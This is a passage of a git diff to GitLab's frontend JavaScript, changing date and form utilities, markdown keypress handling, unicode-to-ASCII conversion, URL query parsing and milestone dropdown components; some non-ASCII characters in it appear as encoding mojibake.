- request: req,
- }));
- });
+ const startupCall = remainingCalls.get(fullUrl);
+
+ if (!startupCall?.fetchCall) {
+ return req;
+ }
+
+ try {
+ await handleStartupCall(startupCall, req);
+ } catch (e) {
+ // eslint-disable-next-line no-console
+ console.warn(`[gitlab] Something went wrong with the startup call for "${fullUrl}"`, e);
+ }
+
+ remainingCalls.delete(fullUrl);
+
+ if (remainingCalls.size === 0) {
+ axios.interceptors.request.eject(interceptor);
}
return req;
diff --git a/app/assets/javascripts/lib/utils/datetime_utility.js b/app/assets/javascripts/lib/utils/datetime_utility.js
index e26b63fbb85..b193a8b2c9a 100644
--- a/app/assets/javascripts/lib/utils/datetime_utility.js
+++ b/app/assets/javascripts/lib/utils/datetime_utility.js
@@ -216,8 +216,9 @@ export const timeFor = (time, expiredLabel) => {
return timeago.format(time, `${timeagoLanguageCode}-remaining`).trim();
};
+export const millisecondsPerDay = 1000 * 60 * 60 * 24;
+
export const getDayDifference = (a, b) => {
- const millisecondsPerDay = 1000 * 60 * 60 * 24;
const date1 = Date.UTC(a.getFullYear(), a.getMonth(), a.getDate());
const date2 = Date.UTC(b.getFullYear(), b.getMonth(), b.getDate());
@@ -642,6 +643,16 @@ export const secondsToMilliseconds = seconds => seconds * 1000;
export const secondsToDays = seconds => Math.round(seconds / 86400);
/**
+ * Returns the date n days after the date provided
+ *
+ * @param {Date} date the initial date
+ * @param {Number} numberOfDays number of days after
+ * @return {Date} the date following the date provided
+ */
+export const nDaysAfter = (date, numberOfDays) =>
+ new Date(newDate(date)).setDate(date.getDate() + numberOfDays);
+
+/**
* Returns the date after the date provided
*
* @param {Date} date the initial date
@@ -702,20 +713,14 @@ export const approximateDuration = (seconds = 0) => {
* @return {Date} the date object from the params
*/
export const dateFromParams = (year, month, day) => {
- const date = new Date();
-
- date.setFullYear(year);
- date.setMonth(month);
- date.setDate(day);
-
- return date;
+ return new Date(year, month, day);
};
/**
* A utility function which computes the difference in seconds
* between 2 dates.
*
- * @param {Date} startDate the start sate
+ * @param {Date} startDate the start date
* @param {Date} endDate the end date
*
* @return {Int} the difference in seconds
@@ -723,3 +728,18 @@ export const dateFromParams = (year, month, day) => {
export const differenceInSeconds = (startDate, endDate) => {
return (endDate.getTime() - startDate.getTime()) / 1000;
};
+
+/**
+ * A utility function which computes the difference in milliseconds
+ * between 2 dates.
+ *
+ * @param {Date|Int} startDate the start date. Can be either a date object or a unix timestamp.
+ * @param {Date|Int} endDate the end date. Can be either a date object or a unix timestamp. Defaults to now.
+ *
+ * @return {Int} the difference in milliseconds
+ */
+export const differenceInMilliseconds = (startDate, endDate = Date.now()) => {
+ const startDateInMS = startDate instanceof Date ? startDate.getTime() : startDate;
+ const endDateInMS = endDate instanceof Date ? endDate.getTime() : endDate;
+ return endDateInMS - startDateInMS;
+};
diff --git a/app/assets/javascripts/lib/utils/forms.js b/app/assets/javascripts/lib/utils/forms.js
index ced44ab9817..1c5f6cefeda 100644
--- a/app/assets/javascripts/lib/utils/forms.js
+++ b/app/assets/javascripts/lib/utils/forms.js
@@ -14,3 +14,40 @@ export const serializeForm = form => {
return serializeFormEntries(entries);
};
+
+/**
+ * Check if the value provided is empty or not
+ *
+ * It is being used to check if a form input
+ * value has been set or not
+ *
+ * @param {String, Number, Array} - Any form value
+ * @returns {Boolean} - returns false if a value is set
+ *
+ * @example
+ * returns true for '', [], null, undefined
+ */
+export const isEmptyValue = value => value == null || value.length === 0;
+
+/**
+ * A form object serializer
+ *
+ * @param {Object} - Form Object
+ * @returns {Object} - Serialized Form Object
+ *
+ * @example
+ * Input
+ * {"project": {"value": "hello", "state": false}, "username": {"value": "john"}}
+ *
+ * Returns
+ * {"project": "hello", "username": "john"}
+ */
+export const serializeFormObject = form =>
+ Object.fromEntries(
+ Object.entries(form).reduce((acc, [name, { value }]) => {
+ if (!isEmptyValue(value)) {
+ acc.push([name, value]);
+ }
+ return acc;
+ }, []),
+ );
diff --git a/app/assets/javascripts/lib/utils/image_utility.js b/app/assets/javascripts/lib/utils/image_utility.js
index 2977ec821cb..af531f9f830 100644
--- a/app/assets/javascripts/lib/utils/image_utility.js
+++ b/app/assets/javascripts/lib/utils/image_utility.js
@@ -1,5 +1,3 @@
-/* eslint-disable import/prefer-default-export */
-
export function isImageLoaded(element) {
return element.complete && element.naturalHeight !== 0;
}
diff --git a/app/assets/javascripts/lib/utils/jquery_at_who.js b/app/assets/javascripts/lib/utils/jquery_at_who.js
new file mode 100644
index 00000000000..88111cb4ae4
--- /dev/null
+++ b/app/assets/javascripts/lib/utils/jquery_at_who.js
@@ -0,0 +1,3 @@
+import 'jquery';
+import 'jquery.caret'; // required by at.js
+import '@gitlab/at.js';
diff --git a/app/assets/javascripts/lib/utils/poll.js b/app/assets/javascripts/lib/utils/poll.js
index 7f0c65868c2..e8583fa951b 100644
--- a/app/assets/javascripts/lib/utils/poll.js
+++ b/app/assets/javascripts/lib/utils/poll.js
@@ -88,7 +88,11 @@ export default class Poll {
}
makeDelayedRequest(delay = 0) {
- this.timeoutID = setTimeout(() => this.makeRequest(), delay);
+ // So we don't make our specs artificially slower
+ this.timeoutID = setTimeout(
+ () => this.makeRequest(),
+ process.env.NODE_ENV !== 'test' ? delay : 1,
+ );
}
makeRequest() {
diff --git a/app/assets/javascripts/lib/utils/set.js b/app/assets/javascripts/lib/utils/set.js
index 3845d648b61..541934c4221 100644
--- a/app/assets/javascripts/lib/utils/set.js
+++ b/app/assets/javascripts/lib/utils/set.js
@@ -4,6 +4,5 @@
* @param {Set} superset The set to be considered as the superset.
* @returns {boolean}
*/
-// eslint-disable-next-line import/prefer-default-export
export const isSubset = (subset, superset) =>
Array.from(subset).every(value => superset.has(value));
diff --git a/app/assets/javascripts/lib/utils/simple_poll.js b/app/assets/javascripts/lib/utils/simple_poll.js
index 576a9ec880c..e4e9fb2e6fa 100644
--- a/app/assets/javascripts/lib/utils/simple_poll.js
+++ b/app/assets/javascripts/lib/utils/simple_poll.js
@@ -1,10 +1,12 @@
+import { differenceInMilliseconds } from '~/lib/utils/datetime_utility';
+
export default (fn, { interval = 2000, timeout = 60000 } = {}) => {
const startTime = Date.now();
return new Promise((resolve, reject) => {
const stop = arg => (arg instanceof Error ? reject(arg) : resolve(arg));
const next = () => {
- if (timeout === 0 || Date.now() - startTime < timeout) {
+ if (timeout === 0 || differenceInMilliseconds(startTime) < timeout) {
setTimeout(fn.bind(null, next, stop), interval);
} else {
reject(new Error('SIMPLE_POLL_TIMEOUT'));
diff --git a/app/assets/javascripts/lib/utils/text_markdown.js b/app/assets/javascripts/lib/utils/text_markdown.js
index 8d23d177410..f4c6e4e3584 100644
--- a/app/assets/javascripts/lib/utils/text_markdown.js
+++ b/app/assets/javascripts/lib/utils/text_markdown.js
@@ -1,6 +1,7 @@
/* eslint-disable func-names, no-param-reassign, operator-assignment, consistent-return */
import $ from 'jquery';
import { insertText } from '~/lib/utils/common_utils';
+import Shortcuts from '~/behaviors/shortcuts/shortcuts';
const LINK_TAG_PATTERN = '[{text}](url)';
@@ -303,23 +304,67 @@ function updateText({ textArea, tag, cursorOffset, blockTag, wrap, select, tagCo
});
}
+/* eslint-disable @gitlab/require-i18n-strings */
+export function keypressNoteText(e) {
+ if (this.selectionStart === this.selectionEnd) {
+ return;
+ }
+ const keys = {
+ '*': '**{text}**', // wraps with bold character
+ _: '_{text}_', // wraps with italic character
+ '`': '`{text}`', // wraps with inline character
+ "'": "'{text}'", // single quotes
+ '"': '"{text}"', // double quotes
+ '[': '[{text}]', // brackets
+ '{': '{{text}}', // braces
+ '(': '({text})', // parentheses
+ '<': '<{text}>', // angle brackets
+ };
+ const tag = keys[e.key];
+
+ if (tag) {
+ e.preventDefault();
+
+ updateText({
+ tag,
+ textArea: this,
+ blockTag: '',
+ wrap: true,
+ select: '',
+ tagContent: '',
+ });
+ }
+}
+/* eslint-enable @gitlab/require-i18n-strings */
+
+export function updateTextForToolbarBtn($toolbarBtn) {
+ return updateText({
+ textArea: $toolbarBtn.closest('.md-area').find('textarea'),
+ tag: $toolbarBtn.data('mdTag'),
+ cursorOffset: $toolbarBtn.data('mdCursorOffset'),
+ blockTag: $toolbarBtn.data('mdBlock'),
+ wrap: !$toolbarBtn.data('mdPrepend'),
+ select: $toolbarBtn.data('mdSelect'),
+ tagContent: $toolbarBtn.data('mdTagContent'),
+ });
+}
+
export function addMarkdownListeners(form) {
- return $('.js-md', form)
+ $('.markdown-area', form)
+ .on('keydown', keypressNoteText)
+ .each(function attachTextareaShortcutHandlers() {
+ Shortcuts.initMarkdownEditorShortcuts($(this), updateTextForToolbarBtn);
+ });
+
+ const $allToolbarBtns = $('.js-md', form)
.off('click')
.on('click', function() {
- const $this = $(this);
- const tag = this.dataset.mdTag;
-
- return updateText({
- textArea: $this.closest('.md-area').find('textarea'),
- tag,
- cursorOffset: $this.data('mdCursorOffset'),
- blockTag: $this.data('mdBlock'),
- wrap: !$this.data('mdPrepend'),
- select: $this.data('mdSelect'),
- tagContent: $this.data('mdTagContent'),
- });
+ const $toolbarBtn = $(this);
+
+ return updateTextForToolbarBtn($toolbarBtn);
});
+
+ return $allToolbarBtns;
}
export function addEditorMarkdownListeners(editor) {
@@ -342,5 +387,11 @@ export function addEditorMarkdownListeners(editor) {
}
export function removeMarkdownListeners(form) {
+ $('.markdown-area', form)
+ .off('keydown', keypressNoteText)
+ .each(function removeTextareaShortcutHandlers() {
+ Shortcuts.removeMarkdownEditorShortcuts($(this));
+ });
+
return $('.js-md', form).off('click');
}
diff --git a/app/assets/javascripts/lib/utils/text_utility.js b/app/assets/javascripts/lib/utils/text_utility.js
index e2953ce330c..8ac6a44cba9 100644
--- a/app/assets/javascripts/lib/utils/text_utility.js
+++ b/app/assets/javascripts/lib/utils/text_utility.js
@@ -275,6 +275,81 @@ export const convertToSentenceCase = string => {
*/
export const convertToTitleCase = string => string.replace(/\b[a-z]/g, s => s.toUpperCase());
+const unicodeConversion = [
+ [/[ÀÃÂÃÅĀĂĄ]/g, 'A'],
+ [/[Æ]/g, 'AE'],
+ [/[ÇĆĈĊČ]/g, 'C'],
+ [/[ÈÉÊËĒĔĖĘĚ]/g, 'E'],
+ [/[ÃŒÃÃŽÃĨĪĬĮİ]/g, 'I'],
+ [/[Ãðĥħ]/g, 'h'],
+ [/[ÑŃŅŇʼn]/g, 'N'],
+ [/[ÒÓÔÕØŌŎÅ]/g, 'O'],
+ [/[ÙÚÛŨŪŬŮŰŲ]/g, 'U'],
+ [/[ÃŶŸ]/g, 'Y'],
+ [/[Þñþńņň]/g, 'n'],
+ [/[ߌŜŞŠ]/g, 'S'],
+ [/[àáâãåÄăąĸ]/g, 'a'],
+ [/[æ]/g, 'ae'],
+ [/[çćĉċÄ]/g, 'c'],
+ [/[èéêëēĕėęě]/g, 'e'],
+ [/[ìíîïĩīĭį]/g, 'i'],
+ [/[òóôõøÅÅÅ‘]/g, 'o'],
+ [/[ùúûũūŭůűų]/g, 'u'],
+ [/[ýÿŷ]/g, 'y'],
+ [/[ÄŽÄ]/g, 'D'],
+ [/[ÄÄ‘]/g, 'd'],
+ [/[ĜĞĠĢ]/g, 'G'],
+ [/[ÄğġģŊŋſ]/g, 'g'],
+ [/[ĤĦ]/g, 'H'],
+ [/[ıśÅÅŸÅ¡]/g, 's'],
+ [/[IJ]/g, 'IJ'],
+ [/[ij]/g, 'ij'],
+ [/[Ä´]/g, 'J'],
+ [/[ĵ]/g, 'j'],
+ [/[Ķ]/g, 'K'],
+ [/[Ä·]/g, 'k'],
+ [/[ĹĻĽĿÅ]/g, 'L'],
+ [/[ĺļľŀł]/g, 'l'],
+ [/[Å’]/g, 'OE'],
+ [/[Å“]/g, 'oe'],
+ [/[ŔŖŘ]/g, 'R'],
+ [/[Å•Å—Å™]/g, 'r'],
+ [/[ŢŤŦ]/g, 'T'],
+ [/[ţťŧ]/g, 't'],
+ [/[Å´]/g, 'W'],
+ [/[ŵ]/g, 'w'],
+ [/[ŹŻŽ]/g, 'Z'],
+ [/[źżž]/g, 'z'],
+ [/ö/g, 'oe'],
+ [/ü/g, 'ue'],
+ [/ä/g, 'ae'],
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ [/Ö/g, 'Oe'],
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ [/Ü/g, 'Ue'],
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ [/Ä/g, 'Ae'],
+];
+
+/**
+ * Converts each non-ascii character in a string to
+ * it's ascii equivalent (if defined).
+ *
+ * e.g. "Dĭd söméònê äšk fœŕ Ůnĭċődę?" => "Did someone aesk foer Unicode?"
+ *
+ * @param {String} string
+ * @returns {String}
+ */
+export const convertUnicodeToAscii = string => {
+ let convertedString = string;
+
+ unicodeConversion.forEach(([regex, replacer]) => {
+ convertedString = convertedString.replace(regex, replacer);
+ });
+
+ return convertedString;
+};
+
/**
* Splits camelCase or PascalCase words
* e.g. HelloWorld => Hello World
diff --git a/app/assets/javascripts/lib/utils/type_utility.js b/app/assets/javascripts/lib/utils/type_utility.js
index be86f336bcd..664c0dbbc84 100644
--- a/app/assets/javascripts/lib/utils/type_utility.js
+++ b/app/assets/javascripts/lib/utils/type_utility.js
@@ -1,2 +1 @@
-// eslint-disable-next-line import/prefer-default-export
export const isObject = obj => obj && obj.constructor === Object;
diff --git a/app/assets/javascripts/lib/utils/url_utility.js b/app/assets/javascripts/lib/utils/url_utility.js
index 8077570158a..e9c3fe0a406 100644
--- a/app/assets/javascripts/lib/utils/url_utility.js
+++ b/app/assets/javascripts/lib/utils/url_utility.js
@@ -75,7 +75,7 @@ export function getParameterValues(sParam, url = window.location) {
* @param {Boolean} options.spreadArrays - split array values into separate key/value-pairs
*/
export function mergeUrlParams(params, url, options = {}) {
- const { spreadArrays = false } = options;
+ const { spreadArrays = false, sort = false } = options;
const re = /^([^?#]*)(\?[^#]*)?(.*)/;
let merged = {};
const [, fullpath, query, fragment] = url.match(re);
@@ -108,7 +108,9 @@ export function mergeUrlParams(params, url, options = {}) {
Object.assign(merged, params);
- const newQuery = Object.keys(merged)
+ const mergedKeys = sort ? Object.keys(merged).sort() : Object.keys(merged);
+
+ const newQuery = mergedKeys
.filter(key => merged[key] !== null)
.map(key => {
let value = merged[key];
@@ -334,17 +336,32 @@ export function getWebSocketUrl(path) {
* Convert search query into an object
*
* @param {String} query from "document.location.search"
+ * @param {Object} options
+ * @param {Boolean} options.gatherArrays - gather array values into an Array
* @returns {Object}
*
* ex: "?one=1&two=2" into {one: 1, two: 2}
*/
-export function queryToObject(query) {
+export function queryToObject(query, options = {}) {
+ const { gatherArrays = false } = options;
const removeQuestionMarkFromQuery = String(query).startsWith('?') ? query.slice(1) : query;
return removeQuestionMarkFromQuery.split('&').reduce((accumulator, curr) => {
const [key, value] = curr.split('=');
- if (value !== undefined) {
- accumulator[decodeURIComponent(key)] = decodeURIComponent(value);
+ if (value === undefined) {
+ return accumulator;
}
+ const decodedValue = decodeURIComponent(value);
+
+ if (gatherArrays && key.endsWith('[]')) {
+ const decodedKey = decodeURIComponent(key.slice(0, -2));
+ if (!Array.isArray(accumulator[decodedKey])) {
+ accumulator[decodedKey] = [];
+ }
+ accumulator[decodedKey].push(decodedValue);
+ } else {
+ accumulator[decodeURIComponent(key)] = decodedValue;
+ }
+
return accumulator;
}, {});
}
diff --git a/app/assets/javascripts/lib/utils/webpack.js b/app/assets/javascripts/lib/utils/webpack.js
index 390294afcb7..622c40e0f35 100644
--- a/app/assets/javascripts/lib/utils/webpack.js
+++ b/app/assets/javascripts/lib/utils/webpack.js
@@ -1,7 +1,6 @@
import { joinPaths } from '~/lib/utils/url_utility';
// tell webpack to load assets from origin so that web workers don't break
-// eslint-disable-next-line import/prefer-default-export
export function resetServiceWorkersPublicPath() {
// __webpack_public_path__ is a global variable that can be used to adjust
// the webpack publicPath setting at runtime.
diff --git a/app/assets/javascripts/line_highlighter.js b/app/assets/javascripts/line_highlighter.js
index ed10c7646a8..8621a133776 100644
--- a/app/assets/javascripts/line_highlighter.js
+++ b/app/assets/javascripts/line_highlighter.js
@@ -1,6 +1,7 @@
/* eslint-disable func-names, no-underscore-dangle, no-param-reassign, consistent-return */
import $ from 'jquery';
+import 'vendor/jquery.scrollTo';
// LineHighlighter
//
diff --git a/app/assets/javascripts/logs/stores/getters.js b/app/assets/javascripts/logs/stores/getters.js
index d92969c5389..dc392af8381 100644
--- a/app/assets/javascripts/logs/stores/getters.js
+++ b/app/assets/javascripts/logs/stores/getters.js
@@ -6,8 +6,16 @@ const mapTrace = ({ timestamp = null, pod = '', message = '' }) =>
export const trace = state => state.logs.lines.map(mapTrace).join('\n');
export const showAdvancedFilters = state => {
- const environment = state.environments.options.find(
- ({ name }) => name === state.environments.current,
+ if (state.environments.current) {
+ const environment = state.environments.options.find(
+ ({ name }) => name === state.environments.current,
+ );
+
+ return Boolean(environment?.enable_advanced_logs_querying);
+ }
+ const managedApp = state.managedApps.options.find(
+ ({ name }) => name === state.managedApps.current,
);
- return Boolean(environment?.enable_advanced_logs_querying);
+
+ return Boolean(managedApp?.enable_advanced_logs_querying);
};
diff --git a/app/assets/javascripts/main.js b/app/assets/javascripts/main.js
index 1572e82a66c..9fcf881a1ac 100644
--- a/app/assets/javascripts/main.js
+++ b/app/assets/javascripts/main.js
@@ -20,25 +20,22 @@ import { localTimeAgo } from './lib/utils/datetime_utility';
import { getLocationHash, visitUrl } from './lib/utils/url_utility';
// everything else
-import loadAwardsHandler from './awards_handler';
import { deprecatedCreateFlash as Flash, removeFlashClickListener } from './flash';
-import './gl_dropdown';
import initTodoToggle from './header';
import initImporterStatus from './importer_status';
import initLayoutNav from './layout_nav';
+import initAlertHandler from './alert_handler';
import './feature_highlight/feature_highlight_options';
import LazyLoader from './lazy_loader';
import initLogoAnimation from './logo';
import initFrequentItemDropdowns from './frequent_items';
import initBreadcrumbs from './breadcrumb';
import initUsagePingConsent from './usage_ping_consent';
-import initPerformanceBar from './performance_bar';
-import initSearchAutocomplete from './search_autocomplete';
import GlFieldErrors from './gl_field_errors';
import initUserPopovers from './user_popovers';
import initBroadcastNotifications from './broadcast_notification';
import initPersistentUserCallouts from './persistent_user_callouts';
-import { initUserTracking } from './tracking';
+import { initUserTracking, initDefaultTrackers } from './tracking';
import { __ } from './locale';
import 'ee_else_ce/main_ee';
@@ -112,8 +109,23 @@ function deferredInitialisation() {
initBroadcastNotifications();
initFrequentItemDropdowns();
initPersistentUserCallouts();
-
- if (document.querySelector('.search')) initSearchAutocomplete();
+ initDefaultTrackers();
+
+ const search = document.querySelector('#search');
+ if (search) {
+ search.addEventListener(
+ 'focus',
+ () => {
+ import(/* webpackChunkName: 'globalSearch' */ './search_autocomplete')
+ .then(({ default: initSearchAutocomplete }) => {
+ const searchDropdown = initSearchAutocomplete();
+ searchDropdown.onSearchInputFocus();
+ })
+ .catch(() => {});
+ },
+ { once: true },
+ );
+ }
addSelectOnFocusBehaviour('.js-select-on-focus');
@@ -155,8 +167,6 @@ function deferredInitialisation() {
viewport: '.layout-page',
});
- loadAwardsHandler();
-
// Adding a helper class to activate animations only after all is rendered
setTimeout(() => $body.addClass('page-initialised'), 1000);
}
@@ -166,10 +176,9 @@ document.addEventListener('DOMContentLoaded', () => {
const $document = $(document);
const bootstrapBreakpoint = bp.getBreakpointSize();
- if (document.querySelector('#js-peek')) initPerformanceBar({ container: '#js-peek' });
-
initUserTracking();
initLayoutNav();
+ initAlertHandler();
// Set the default path for all cookies to GitLab's root directory
Cookies.defaults.path = gon.relative_url_root || '/';
diff --git a/app/assets/javascripts/members.js b/app/assets/javascripts/members.js
index f220e9e0192..c3fbb5d6acf 100644
--- a/app/assets/javascripts/members.js
+++ b/app/assets/javascripts/members.js
@@ -1,5 +1,6 @@
import $ from 'jquery';
import { disableButtonIfEmptyField } from '~/lib/utils/common_utils';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class Members {
constructor() {
@@ -37,7 +38,7 @@ export default class Members {
$('.js-member-permissions-dropdown').each((i, btn) => {
const $btn = $(btn);
- $btn.glDropdown({
+ initDeprecatedJQueryDropdown($btn, {
selectable: true,
isSelectable: (selected, $el) => this.dropdownIsSelectable(selected, $el),
fieldName: $btn.data('fieldName'),
diff --git a/app/assets/javascripts/merge_request.js b/app/assets/javascripts/merge_request.js
index 8322d36faee..79a4c3700ef 100644
--- a/app/assets/javascripts/merge_request.js
+++ b/app/assets/javascripts/merge_request.js
@@ -66,6 +66,14 @@ MergeRequest.prototype.showAllCommits = function() {
MergeRequest.prototype.initMRBtnListeners = function() {
const _this = this;
+
+ $('.report-abuse-link').on('click', e => {
+ // this is needed because of the implementation of
+ // the dropdown toggle and Report Abuse needing to be
+ // linked to another page.
+ e.stopPropagation();
+ });
+
return $('.btn-close, .btn-reopen').on('click', function(e) {
const $this = $(this);
const shouldSubmit = $this.hasClass('btn-comment');
diff --git a/app/assets/javascripts/merge_request_tabs.js b/app/assets/javascripts/merge_request_tabs.js
index 94b6ba7b1ce..b7cf39db00c 100644
--- a/app/assets/javascripts/merge_request_tabs.js
+++ b/app/assets/javascripts/merge_request_tabs.js
@@ -1,6 +1,7 @@
/* eslint-disable no-new, class-methods-use-this */
import $ from 'jquery';
+import 'vendor/jquery.scrollTo';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import Cookies from 'js-cookie';
import createEventHub from '~/helpers/event_hub_factory';
diff --git a/app/assets/javascripts/milestone_select.js b/app/assets/javascripts/milestone_select.js
index caa45184bfc..52f6786ca28 100644
--- a/app/assets/javascripts/milestone_select.js
+++ b/app/assets/javascripts/milestone_select.js
@@ -4,10 +4,11 @@
import $ from 'jquery';
import { template, escape } from 'lodash';
-import { __ } from '~/locale';
-import '~/gl_dropdown';
+import { __, sprintf } from '~/locale';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
+import Api from '~/api';
import axios from './lib/utils/axios_utils';
-import { timeFor } from './lib/utils/datetime_utility';
+import { timeFor, parsePikadayDate, dateInWords } from './lib/utils/datetime_utility';
import ModalStore from './boards/stores/modal_store';
import boardsStore, {
boardStoreIssueSet,
@@ -34,10 +35,10 @@ export default class MilestoneSelect {
$els.each((i, dropdown) => {
let milestoneLinkNoneTemplate,
milestoneLinkTemplate,
+ milestoneExpiredLinkTemplate,
selectedMilestone,
selectedMilestoneDefault;
const $dropdown = $(dropdown);
- const milestonesUrl = $dropdown.data('milestones');
const issueUpdateURL = $dropdown.data('issueUpdate');
const showNo = $dropdown.data('showNo');
const showAny = $dropdown.data('showAny');
@@ -63,59 +64,109 @@ export default class MilestoneSelect {
milestoneLinkTemplate = template(
'<a href="<%- web_url %>" class="bold has-tooltip" data-container="body" title="<%- remaining %>"><%- title %></a>',
);
+ milestoneExpiredLinkTemplate = template(
+ '<a href="<%- web_url %>" class="bold has-tooltip" data-container="body" title="<%- remaining %>"><%- title %> (Past due)</a>',
+ );
milestoneLinkNoneTemplate = `<span class="no-value">${__('None')}</span>`;
}
- return $dropdown.glDropdown({
+ return initDeprecatedJQueryDropdown($dropdown, {
showMenuAbove,
- data: (term, callback) =>
- axios.get(milestonesUrl).then(({ data }) => {
- const extraOptions = [];
- if (showAny) {
- extraOptions.push({
- id: null,
- name: null,
- title: __('Any milestone'),
- });
- }
- if (showNo) {
- extraOptions.push({
- id: -1,
- name: __('No milestone'),
- title: __('No milestone'),
- });
- }
- if (showUpcoming) {
- extraOptions.push({
- id: -2,
- name: '#upcoming',
- title: __('Upcoming'),
- });
- }
- if (showStarted) {
- extraOptions.push({
- id: -3,
- name: '#started',
- title: __('Started'),
- });
- }
- if (extraOptions.length) {
- extraOptions.push({ type: 'divider' });
- }
+ data: (term, callback) => {
+ let contextId = parseInt($dropdown.get(0).dataset.projectId, 10);
+ let getMilestones = Api.projectMilestones.bind(Api);
+ const reqParams = { state: 'active', include_parent_milestones: true };
- callback(extraOptions.concat(data));
- if (showMenuAbove) {
- $dropdown.data('glDropdown').positionMenuAbove();
- }
- $(`[data-milestone-id="${escape(selectedMilestone)}"] > a`).addClass('is-active');
- }),
- renderRow: milestone => `
- <li data-milestone-id="${escape(milestone.name)}">
+ if (term) {
+ reqParams.search = term.trim();
+ }
+
+ if (!contextId) {
+ contextId = $dropdown.get(0).dataset.groupId;
+ delete reqParams.include_parent_milestones;
+ getMilestones = Api.groupMilestones.bind(Api);
+ }
+
+ // We don't use $.data() as it caches initial value and never updates!
+ return getMilestones(contextId, reqParams)
+ .then(({ data }) =>
+ data
+ .map(m => ({
+ ...m,
+ // Public API includes `title` instead of `name`.
+ name: m.title,
+ }))
+ .sort((mA, mB) => {
+ // Move all expired milestones to the bottom.
+ if (mA.expired) {
+ return 1;
+ }
+ if (mB.expired) {
+ return -1;
+ }
+ return 0;
+ }),
+ )
+ .then(data => {
+ const extraOptions = [];
+ if (showAny) {
+ extraOptions.push({
+ id: null,
+ name: null,
+ title: __('Any milestone'),
+ });
+ }
+ if (showNo) {
+ extraOptions.push({
+ id: -1,
+ name: __('No milestone'),
+ title: __('No milestone'),
+ });
+ }
+ if (showUpcoming) {
+ extraOptions.push({
+ id: -2,
+ name: '#upcoming',
+ title: __('Upcoming'),
+ });
+ }
+ if (showStarted) {
+ extraOptions.push({
+ id: -3,
+ name: '#started',
+ title: __('Started'),
+ });
+ }
+ if (extraOptions.length) {
+ extraOptions.push({ type: 'divider' });
+ }
+
+ callback(extraOptions.concat(data));
+ if (showMenuAbove) {
+ $dropdown.data('deprecatedJQueryDropdown').positionMenuAbove();
+ }
+ $(`[data-milestone-id="${selectedMilestone}"] > a`).addClass('is-active');
+ });
+ },
+ renderRow: milestone => {
+ const milestoneName = milestone.title || milestone.name;
+ let milestoneDisplayName = escape(milestoneName);
+
+ if (milestone.expired) {
+ milestoneDisplayName = sprintf(__('%{milestone} (expired)'), {
+ milestone: milestoneDisplayName,
+ });
+ }
+
+ return `
+ <li data-milestone-id="${escape(milestoneName)}">
<a href='#' class='dropdown-menu-milestone-link'>
- ${escape(milestone.title)}
+ ${milestoneDisplayName}
</a>
</li>
- `,
+ `;
+ },
filterable: true,
+ filterRemote: true,
search: {
fields: ['title'],
},
@@ -149,7 +200,7 @@ export default class MilestoneSelect {
selectedMilestone = $dropdown[0].dataset.selected || selectedMilestoneDefault;
}
$('a.is-active', $el).removeClass('is-active');
- $(`[data-milestone-id="${escape(selectedMilestone)}"] > a`, $el).addClass('is-active');
+ $(`[data-milestone-id="${selectedMilestone}"] > a`, $el).addClass('is-active');
},
vue: $dropdown.hasClass('js-issue-board-sidebar'),
clicked: clickEvent => {
@@ -237,7 +288,16 @@ export default class MilestoneSelect {
if (data.milestone != null) {
data.milestone.remaining = timeFor(data.milestone.due_date);
data.milestone.name = data.milestone.title;
- $value.html(milestoneLinkTemplate(data.milestone));
+ $value.html(
+ data.milestone.expired
+ ? milestoneExpiredLinkTemplate({
+ ...data.milestone,
+ remaining: sprintf(__('%{due_date} (Past due)'), {
+ due_date: dateInWords(parsePikadayDate(data.milestone.due_date)),
+ }),
+ })
+ : milestoneLinkTemplate(data.milestone),
+ );
return $sidebarCollapsedValue
.attr(
'data-original-title',
diff --git a/app/assets/javascripts/milestones/project_milestone_combobox.vue b/app/assets/javascripts/milestones/project_milestone_combobox.vue
index d0179ab5509..5ee917573ce 100644
--- a/app/assets/javascripts/milestones/project_milestone_combobox.vue
+++ b/app/assets/javascripts/milestones/project_milestone_combobox.vue
@@ -1,9 +1,9 @@
<script>
import {
- GlNewDropdown,
- GlNewDropdownDivider,
- GlNewDropdownHeader,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
GlLoadingIcon,
GlSearchBoxByType,
GlIcon,
@@ -13,12 +13,14 @@ import { __, sprintf } from '~/locale';
import Api from '~/api';
import { deprecatedCreateFlash as createFlash } from '~/flash';
+const SEARCH_DEBOUNCE_MS = 250;
+
export default {
components: {
- GlNewDropdown,
- GlNewDropdownDivider,
- GlNewDropdownHeader,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
GlLoadingIcon,
GlSearchBoxByType,
GlIcon,
@@ -89,10 +91,21 @@ export default {
return this.requestCount !== 0;
},
},
+ created() {
+ // This method is defined here instead of in `methods`
+ // because we need to access the .cancel() method
+ // lodash attaches to the function, which is
+ // made inaccessible by Vue. More info:
+ // https://stackoverflow.com/a/52988020/1063392
+ this.debouncedSearchMilestones = debounce(this.searchMilestones, SEARCH_DEBOUNCE_MS);
+ },
mounted() {
this.fetchMilestones();
},
methods: {
+ focusSearchBox() {
+ this.$refs.searchBox.$el.querySelector('input').focus();
+ },
fetchMilestones() {
this.requestCount += 1;
@@ -108,7 +121,7 @@ export default {
this.requestCount -= 1;
});
},
- searchMilestones: debounce(function searchMilestones() {
+ searchMilestones() {
this.requestCount += 1;
const options = {
search: this.searchQuery,
@@ -133,7 +146,14 @@ export default {
.finally(() => {
this.requestCount -= 1;
});
- }, 100),
+ },
+ onSearchBoxInput() {
+ this.debouncedSearchMilestones();
+ },
+ onSearchBoxEnter() {
+ this.debouncedSearchMilestones.cancel();
+ this.searchMilestones();
+ },
toggleMilestoneSelection(clickedMilestone) {
if (!clickedMilestone) return [];
@@ -168,7 +188,7 @@ export default {
</script>
<template>
- <gl-new-dropdown>
+ <gl-dropdown v-bind="$attrs" class="project-milestone-combobox" @shown="focusSearchBox">
<template slot="button-content">
<span ref="buttonText" class="flex-grow-1 ml-1 text-muted">{{
selectedMilestonesLabel
@@ -176,39 +196,41 @@ export default {
<gl-icon name="chevron-down" />
</template>
- <gl-new-dropdown-header>
+ <gl-dropdown-section-header>
